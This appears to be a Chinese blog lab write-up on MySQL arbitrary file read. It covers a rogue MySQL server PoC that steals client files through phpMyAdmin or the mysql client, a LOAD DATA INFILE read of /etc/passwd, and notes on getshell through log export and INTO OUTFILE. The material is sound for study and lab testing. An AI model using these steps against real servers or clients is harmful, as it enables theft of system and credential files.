前言
最近看到mysql的任意文件读取,好奇该漏洞如果出现在实际中该是什么样的。
phpmyadmin 读取
利用条件
修改phpmyadmin下的libraries\config.default.php内容
$cfg['AllowArbitraryServer'] = true
默认为false,只允许localhost本地登录。true允许远程登录。
利用过程
github下载poc。
查看rogue_mysql_server.py 文件
port为端口
filelist为读取的文件
mysql.log为记录日志
vps运行
python rogue_mysql_server.py
访问phpstudy的phpmyadmin
image.png服务器填写vps:port,用户名、密码随意。点击执行。
vps上生成mysql.log文件,可看到win.ini源码。
mysql 读取
利用条件
mysql.exe客户端命令行执行。话说实际中什么情况下会读取客户端信息。
利用过程
以kali为受害机,vps为攻击机。
操作过程一样。
mysql -h 106.53.xx.xx -uroot -p --enable-local-infile
客户端必须具有LOAD DATA LOCAL 属性,需要添加--enable-local-infile。
image.png密码随意输入。
读取的客户端文件保存在mysql.log
local data local infile
上面读取客户端的信息,就是用了local data local infile这个特性。用来读取一个文件的内容并且放到一个表中。
比如使用navicat远程连接mysql服务端。
load data local infile 'xxx' into table test 将客户端文件存入test表中
image.png
image.png
local data infile
与local data local infile相反,local data infile是从本地服务端读取数据。
load data infile 'xxx' into table test; 将服务端文件存入test表中
image.png
这里用的是mysql5.7版本,会有--secure-file-priv提示。
--secure-file-priv
查看该特性。默认值为/var/lib/mysql-files/
show variables like '%secure%'
image.png
这里简单说明一下
secure_file_priv 值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv 值为/var/lib/mysql-files/,表示限制mysqld 的导入|导出只能在该目录下
secure_file_priv 无值,表示不对mysqld 的导入|导出做限制
修改该配置,需要编辑/etc/mysql/mysql.conf.d/mysqld.cnf
该文件
添加
secure_file_priv=''
重启mysql服务。即可允许mysql任意导入导出。
image.pngcreate table test(
passwd varchar(100)
)
创建test表
load data infile '/etc/passwd' into table test;
备份/etc/passwd文件到test表
select * from test;
获取test表的内容。
image.png可成功读取。
回顾
再顺便看linux下mysql的一些导出操作。
general_log_file
都知道phpmyadmin可以利用日志导出文件来getshell。那么linux下呢?
image.pnglinux下无法利用日志导出。同样是需要修改/etc/mysql/mysql.conf.d/mysqld.cnf
文件。
into outfile
image.png无法导出到/var/www/html/下,可导出到/tmp/下
image.png image.png这是因为mysql不是以root权限运行。
image.png参考资料
https://g.yuque.com/corgi/vghqzi/dogiym
https://xz.aliyun.com/t/3973
网友评论